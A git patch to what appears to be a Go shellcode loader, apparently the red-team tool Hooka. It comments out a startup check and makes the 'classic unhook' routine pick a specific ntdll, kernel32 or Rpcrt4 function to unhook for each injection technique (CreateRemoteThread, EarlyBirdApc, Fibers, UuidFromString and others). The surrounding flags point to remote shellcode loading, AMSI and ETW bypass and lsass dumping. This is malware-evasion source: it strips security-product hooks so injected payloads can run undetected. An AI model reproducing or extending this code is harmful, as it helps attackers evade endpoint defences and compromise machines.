From a7a06523e60c4bed58c7f751efa1a868a85a797a Mon Sep 17 00:00:00 2001
From: d3ext <ialconcabello@gmail.com>
Date: Tue, 14 Mar 2023 18:39:09 +0100
Subject: [PATCH] little change

---
 core/unhook.go |  1 -
 main.go        | 27 ++++++++++++++++++++++++---
 2 files changed, 24 insertions(+), 4 deletions(-)

diff --git a/core/unhook.go b/core/unhook.go
index 96f9ed9..213150f 100644
--- a/core/unhook.go
+++ b/core/unhook.go
@@ -24,7 +24,6 @@ import (
 
 // This function unhooks given function of especified dll (NtCreateThread and C:\\Windows\\System32\\ntdll.dll)
 func ClassicUnhook(funcname string, dllpath string) (error) {
-
   // Load DLL APIs
   k32 := syscall.NewLazyDLL("kernel32.dll")
   getCurrentProcess := k32.NewProc("GetCurrentProcess")
diff --git a/main.go b/main.go
index ef1f5c6..f7d2f17 100644
--- a/main.go
+++ b/main.go
@@ -17,10 +17,10 @@ func main() {
   var shellcode []byte
   var err error
 
-  err = hooka.AutoCheck()
+  /*err = hooka.AutoCheck()
   if err != nil {
     l.Fatal(err)
-  }
+  }*/
 
   // Parse CLI flags and retrieve values
   sc_url, sc_file, dll_file, dll_url, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass, pid := hooka.ParseFlags()
@@ -499,10 +499,31 @@ func checkEtw(check bool) {
 
 func checkUnhook(unhook int, technique string) {
   // Unhook function(s)
+  var func_to_unhook string
+  var lib string
+
   if (unhook == 1) {
     l.Println("[*] Unhooking functions via Classic technique...")
     time.Sleep(200 * time.Millisecond)
-    err := hooka.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
+
+    if (technique == "CreateRemoteThread") {
+      func_to_unhook = "CreateRemoteThreadEx"
+      lib = "C:\\Windows\\System32\\ntdll.dll"
+    } else if (technique == "CreateProcess") {
+      func_to_unhook = "NtQueryInformationProcess"
+      lib = "C:\\Windows\\System32\\ntdll.dll"
+    } else if (technique == "EarlyBirdApc") {
+      func_to_unhook = "QueueUserAPC"
+      lib = "C:\\Windows\\System32\\kernel32.dll"
+    } else if (technique == "Fibers") {
+      func_to_unhook = "RtlCopyMemory"
+      lib = "C:\\Windows\\System32\\ntdll.dll"
+    } else if (technique == "UuidFromString") {
+      func_to_unhook = "UuidFromStringA"
+      lib = "C:\\Windows\\System32\\Rpcrt4.dll"
+    }
+
+    err := hooka.ClassicUnhook(func_to_unhook, lib)
     if err != nil {
       l.Println("[-] An error has ocurred while unhooking functions!")
       l.Fatal(err)